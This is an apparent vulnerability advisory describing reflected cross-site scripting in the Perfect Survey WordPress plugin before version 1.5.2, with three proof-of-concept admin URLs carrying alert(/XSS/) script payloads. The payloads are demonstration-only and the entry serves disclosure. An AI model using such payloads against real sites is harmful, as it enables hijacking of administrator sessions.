WordPress Plugin Vulnerabilities
Perfect Survey < 1.5.2 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape multiple parameters (id and filters[session_id] of single_statistics page, type and message of importexport page) before outputting them back in pages/attributes in the admin dashboard, leading to Reflected Cross-Site Scripting issues
Proof of Concept
https://example.com/wp-admin/edit.php?post_type=ps&page=single_statistic&id=1"+style%3danimation-name:rotation onanimationend%3dalert(/XSS/)// https://example.com/wp-admin/edit.php?post_type=ps&page=single_statistic&id=765&filters[user_id]&filters[session_id]=<script>alert(/XSS/)</script> https://example.com/wp-admin/edit.php?post_type=ps&page=importexport&message=<script>alert(/XSS/)</script>
Affects Plugins
Fixed in version 1.5.2 - plugin closed
References
Classification
Miscellaneous
Original Researcher
apple502j
Submitter
apple502j
Verified
Yes
Timeline
Publicly Published
2021-10-05 (about 1 years ago)
Added
2021-12-29 (about 1 years ago)
Last Updated
2022-04-13 (about 9 months ago)